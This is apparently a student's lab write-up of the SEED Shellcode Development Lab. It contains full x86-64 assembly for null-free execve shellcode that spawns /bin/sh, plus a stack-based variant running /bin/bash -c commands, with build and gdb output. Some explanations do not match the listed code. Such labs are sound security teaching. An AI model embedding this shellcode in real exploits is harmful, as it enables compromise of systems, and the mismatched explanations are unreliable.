Shellcode Development Lab

Task 1: Writing Assembly Code

First compile the hello.s to object code

```
[09/29/25]seed@VM:~/.../Labsetup$ nasm -f elf64 hello.s -o hello.o
```

Then linking to generate final binary

```
[09/29/25]seed@VM:~/.../Labsetup$ ld hello.o -o hello
[09/29/25]seed@VM:~/.../Labsetup$ ./hello
Hello, world!
```

Now extract machine code from the executable file

```
[09/29/25]seed@VM:~/.../Labsetup$ objdump -Mintel -d hello.o

hello.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:	bf 01 00 00 00       	mov    edi,0x1
   5:	48 be 00 00 00 00 00 	movabs rsi,0x0
   c:	00 00 00 
   f:	ba 0e 00 00 00       	mov    edx,0xe
  14:	b8 01 00 00 00       	mov    eax,0x1
  19:	0f 05                	syscall
  1b:	bf 00 00 00 00       	mov    edi,0x0
  20:	b8 3c 00 00 00       	mov    eax,0x3c
  25:	0f 05                	syscall
```

```
[09/29/25]seed@VM:~/.../Labsetup$ xxd -p -c 20 hello.o
7f454c4602010100000000000000000001003e00
0100000000000000000000000000000000000000
4000000000000000000000004000000000004000
0700030000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000010000000100000006000000
0000000000000000000000000002000000000000
2700000000000000000000000000000010000000
0000000000000000000000000700000001000000
0200000000000000000000000000000030020000
000000000e000000000000000000000000000000
040000000000000000000000000000000f000000
0300000000000000000000000000000000000000
4002000000000000340000000000000000000000
0000000001000000000000000000000000000000
1900000002000000000000000000000000000000
0000000080020000000000009000000000000000
0500000005000000080000000000000018000000
0000000021000000030000000000000000000000
0000000000000000100300000000000014000000
0000000000000000000000000100000000000000
0000000000000000290000000400000000000000
0000000000000000000000003003000000000000
1800000000000000040000000100000008000000
000000001800000000000000bf0100000048be00
00000000000000ba0e000000b8010000000f05bf
00000000b83c0000000f05000000000000000000
48656c6c6f2c20776f726c64210a0000002e7465
7874002e726f64617461002e7368737472746162
002e73796d746162002e737472746162002e7265
6c612e7465787400000000000000000000000000
0000000000000000000000000000000000000000
00000000010000000400f1ff0000000000000000
0000000000000000000000000300010000000000
0000000000000000000000000000000003000200
0000000000000000000000000000000010000000
0000020000000000000000000000000000000000
0900000010000100000000000000000000000000
000000000068656c6c6f2e73005f737461727400
6d73670000000000000000000000000007000000
0000000001000000030000000000000000000000
0000000000000000
```

Task 2: Writing Shellcode (Approach 1)

Understand the code

```
[09/29/25]seed@VM:~/.../Labsetup$ nasm -g -f elf64 -o mysh64.o mysh
64.s
[09/29/25]seed@VM:~/.../Labsetup$ ld --omagic -o mysh64 mysh64.o
```

```
gdb-peda$ break one
Breakpoint 1 at 0x400082
gdb-peda$ run
Starting program: /home/seed/Desktop/SEED LABS/SHELLCODE DEVELOPMEN
T LAB/Labsetup/mysh64
[----------------------------------registers-----------------------
-----------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x0
RDI: 0x0
RBP: 0x0
RSP: 0x7fffffffe058 --> 0x4000a8 --> 0x68732f6e69622f ('/bin/sh')
RIP: 0x400082 --> 0xb8085b89485b
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x0
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT directi
on overflow)
[-------------------------------------code-------------------------
-----------]
   0x40007c:	add    BYTE PTR [rax],al
   0x40007e:	add    BYTE PTR [rax],al
   0x400080 <_start>:	jmp    0x4000a3 <two>
=> 0x400082 <one>:	pop    rbx
   0x400083 <one+1>:	mov    QWORD PTR [rbx+0x8],rbx
   0x400087 <one+5>:	mov    eax,0x0
   0x40008c <one+10>:	mov    QWORD PTR [rbx+0x10],rax
   0x400090 <one+14>:	mov    rdi,rbx
[------------------------------------stack-------------------------
-----------]
0000| 0x7fffffffe058 --> 0x4000a8 --> 0x68732f6e69622f ('/bin/sh')
0008| 0x7fffffffe060 --> 0x1
0016| 0x7fffffffe068 --> 0x7fffffffe370 ("/home/seed/Desktop/SEED L
ABS/SHELLCODE DEVELOPMENT LAB/Labsetup/mysh64")
0024| 0x7fffffffe070 --> 0x0
0032| 0x7fffffffe078 --> 0x7fffffffe3b7 ("SHELL=/bin/bash")
0040| 0x7fffffffe080 --> 0x7fffffffe3c7 ("SESSION_MANAGER=local/VM:
@/tmp/.ICE-unix/2035,unix/VM:/tmp/.ICE-unix/2035")
0048| 0x7fffffffe088 --> 0x7fffffffe411 ("QT_ACCESSIBILITY=1")
0056| 0x7fffffffe090 --> 0x7fffffffe424 ("COLORTERM=truecolor")
[------------------------------------------------------------------
-----------]
```

From this we can see that the program uses the jmp/call/pop trick. jmp two jumps to two, which executes call one; call one pushes the return address onto the stack then jumps to one. The pop rbx in one pops that returns the address into rbx. Thus rbx becomes the runtime address of the "/bin/sh" string without using any absolute addresses.

The code places the argv array immediately after the string. mov [rbx+8], rbx writes the pointer to "/bin/sh" into memory at rbx + 8, this sets argv[0]. mov rax, 0x00 followed by mov [rbx+16], rax writes 0 into memory at rbx + 16, this sets argv[1] = NULL. Finally lea rsi, [rbx+8] sets rsi to point to the argv array and mov rdi, rbx sets the first execve argument to the string pointer.

mov rdi, rbx; rdi = rbx → copies the address of the "/bin/sh" string (stored in rbx) into the rdi register

lea rsi, [rbx+8]; rsi = rbx +8 → computes the address rbx+8 and places that address into rsi, rbx+8 is where the code stored the argv array

Eliminate zeroes from the code

Update mysh64.s to remove all zeros

```
[09/29/25]seed@VM:~/.../Labsetup$ cat mysh64.s
section .text
global _start
BITS 64

_start:
    jmp short two

one:
    pop     rbx                 ; rbx -> pointer to the data block

    xor     rax, rax            ; zero RAX without immediate zeros (48 31 c0)
    mov     QWORD [rbx+8], rbx  ; store pointer to string at rbx+8  (48 89 5b 08)
    mov     QWORD [rbx+16], rax ; store NULL (0) at rbx+16 using rax=0    (48 89 43 10)

    mov     rdi, rbx            ; rdi = pointer to "/bin//sh"        (48 89 df)
    lea     rsi, [rbx+8]        ; rsi = &argv (points to rbx+8)      (48 8d 73 08)

    xor     rdx, rdx            ; ensure rdx = 0 (envp = NULL)       (48 31 d2)
    mov     al, 0x3b            ; set syscall number to 59 (execve)  (b0 3b)
    syscall                      ; perform syscall                    (0f 05)

two:
    call    one
    db      '/bin//sh'          ; 8 bytes: 2f 62 69 6e 2f 2f 73 68  (no 0x00)
    db      'AAAAAAAA'          ; placeholder slots (will be overwritten by mov [rbx+8],
rbx)
    db      'BBBBBBBB'          ; placeholder slots (space for the NULL we write)
```

mov rax, 0x00 → xor rax, rax
Fix: xor rax, rax produces an instruction that sets rax to zero without embedding 0x00 bytes in the machine code.

mov rdx, 0x00 → xor rdx, rdx
Same reason as above — xor rdx, rdx clears rdx with a short encoding (no embedded zeros).

mov rax, 59 → xor rax, rax + mov al, 59
Fix: clear the full rax with xor rax, rax (no zeros in opcode) then set the low byte with mov al, 59 (b0 3b), which is a compact 2-byte form and does not contain 0x00.

Null-terminated string db '/bin/sh', 0 → db '/bin/sh', 0xFF + runtime overwrite
Fix: store 0xFF (non-zero) as the terminator in the assembled data to avoid 0x00 in machine code. At runtime, after pop rbx (rbx points to the string), write a zero into the terminator with mov byte [rbx+6], dl. Because we already executed xor rdx, rdx, dl is 0x00. The instruction mov byte [rbx+6], dl has a short encoding and does not introduce 0x00 bytes into the code region.

Run a more complicated command

Modify mysh64.s again so that it can execute the command

```
[09/29/25]seed@VM:~/.../Labsetup$ nano mysh64.s
[09/29/25]seed@VM:~/.../Labsetup$ nasm -f elf64 -g -o mysh64.o mysh64.s
[09/29/25]seed@VM:~/.../Labsetup$ ld --omagic -o mysh64 mysh64.o
[09/29/25]seed@VM:~/.../Labsetup$ mysh64
hello
total 60
drwxrwxr-x 3 seed seed 4096 Sep 29 21:56 .
drwxrwxr-x 3 seed seed 4096 Sep 23 17:19 ..
-rw-rw-r-- 1 seed seed  297 Dec 18  2023 Makefile
-rw-rw-r-- 1 seed seed  346 Dec 18  2023 another_sh64.s
drwxrwxr-x 2 seed seed 4096 Apr  3  2024 arm
-rwxrwxr-x 1 seed seed  460 Dec 18  2023 convert.py
-rwxrwxr-x 1 seed seed 8888 Sep 29 20:51 hello
-rw-rw-r-- 1 seed seed  848 Sep 29 20:50 hello.o
-rw-rw-r-- 1 seed seed  444 Dec 18  2023 hello.s
-rwxrwxr-x 1 seed seed 1440 Sep 29 21:56 mysh64
-rw-rw-r-- 1 seed seed 2000 Sep 29 21:56 mysh64.o
-rw-rw-r-- 1 seed seed 2374 Sep 29 21:56 mysh64.s
-rw-rw-r-- 1 seed seed   11 Sep 29 21:22 peda-session-mysh64.txt
```

Pass environment variables

Rewrite mysh64.s so that there is a command that prints out the environment variables

```
[09/29/25]seed@VM:~/.../Labsetup$ nano myenv64.s
[09/29/25]seed@VM:~/.../Labsetup$ nasm -f elf64 myenv64.s -o myenv64.o
[09/29/25]seed@VM:~/.../Labsetup$ ld --omagic -o myenv64 myenv64.o
[09/29/25]seed@VM:~/.../Labsetup$ ./myenv64
aaa=hello
bbb=world
ccc=hello world
```

From this we can see that it was able to print out the environment variables

Task 3: Writing Shellcode (Approach 2)

Modify another_sh64.s so that it uses the stack approach and can use the /bin/bash -c "echo hello; ls -la" command

```
[09/29/25]seed@VM:~/.../Labsetup$ cat mysh_64.s
section .text
global _start

_start:
    BITS 64
    jmp short two

one:
    pop rbx                 ; rbx -> start of data area

    ; clear rdx (used as NULL and as byte 0 for patching)
    xor rdx, rdx            ; rdx = 0

    ; patch the 0xFF terminators in data to 0x00 at runtime
    mov byte [rbx + 9], dl       ; "/bin/bash" terminator (offset +9)
    mov byte [rbx + 12], dl      ; "-c" terminator (offset +12)
    mov byte [rbx + 31], dl      ; command terminator (offset +31)

    ; Build argv[] on stack (push items in REVERSE order)
    push rdx                     ; argv[3] = NULL
    lea rax, [rbx + 13]          ; pointer to "echo hello; ls -la"
    push rax                     ; argv[2]
    lea rax, [rbx + 10]          ; pointer to "-c"
    push rax                     ; argv[1]
    lea rax, [rbx + 0]           ; pointer to "/bin/bash"
    push rax                     ; argv[0]

    ; Now top of stack (rsp) points to argv array
    mov rsi, rsp                 ; rsi = argv
    lea rdi, [rbx + 0]           ; rdi = filename ("/bin/bash")
    mov rdx, rdx                 ; rdx = envp (NULL) -- already zero

    xor rax, rax
    mov al, 59                   ; syscall number 59 = execve
    syscall

two:
    call one

    ; ----------------
    ; Data layout (offsets relative to rbx after call/pop)
    ; 0..9   : "/bin/bash", 0xFF  (terminator placeholder at +9)
    ; 10..12 : "-c", 0xFF         (terminator at +12)
    ; 13..31 : "echo hello; ls -la", 0xFF (terminator at +31)
    ; ----------------

    db '/bin/bash', 0xFF
    db '-c', 0xFF
    db 'echo hello; ls -la', 0xFF
```

```
[09/29/25]seed@VM:~/.../Labsetup$ nano mysh_64.s
[09/29/25]seed@VM:~/.../Labsetup$ nasm -f elf64 mysh_64.s -o mysh_64.o
[09/29/25]seed@VM:~/.../Labsetup$ ld --omagic -o mysh_64 mysh_64.o
[09/29/25]seed@VM:~/.../Labsetup$ mysh_64
hello
total 96
drwxrwxr-x 3 seed seed 4096 Sep 29 22:30 .
drwxrwxr-x 3 seed seed 4096 Sep 23 17:19 ..
-rw-rw-r-- 1 seed seed  297 Dec 18  2023 Makefile
-rwxrwxr-x 1 seed seed 4696 Sep 29 22:19 another_sh64
-rw-rw-r-- 1 seed seed  592 Sep 29 22:19 another_sh64.o
-rw-rw-r-- 1 seed seed  346 Dec 18  2023 another_sh64.s
drwxrwxr-x 2 seed seed 4096 Apr  3  2024 arm
-rwxrwxr-x 1 seed seed  460 Dec 18  2023 convert.py
-rwxrwxr-x 1 seed seed 8888 Sep 29 20:51 hello
-rw-rw-r-- 1 seed seed  848 Sep 29 20:50 hello.o
-rw-rw-r-- 1 seed seed  444 Dec 18  2023 hello.s
-rwxrwxr-x 1 seed seed  928 Sep 29 22:13 myenv64
-rw-rw-r-- 1 seed seed  800 Sep 29 22:13 myenv64.o
-rw-rw-r-- 1 seed seed 2849 Sep 29 22:13 myenv64.s
-rwxrwxr-x 1 seed seed 1440 Sep 29 21:56 mysh64
-rw-rw-r-- 1 seed seed 2000 Sep 29 21:56 mysh64.o
-rw-rw-r-- 1 seed seed 2374 Sep 29 21:56 mysh64.s
-rwxrwxr-x 1 seed seed  832 Sep 29 22:30 mysh_64
-rw-rw-r-- 1 seed seed  704 Sep 29 22:29 mysh_64.o
-rw-rw-r-- 1 seed seed 1594 Sep 29 22:27 mysh_64.s
-rw-rw-r-- 1 seed seed   11 Sep 29 21:22 peda-session-mysh64.txt
```

From this, we can see that the command was able to run successfully

I prefer the stack-based approach because it avoids writing into the code section, so it won't segfault or require special linker flags. It runs in writable memory which is more portable and robust across systems, and is the standard technique for real shellcode. The data-in-text approach can be simpler to write and slightly smaller, but it's less reliable and requires making text writable or using runtime self-patching, which is unsafe.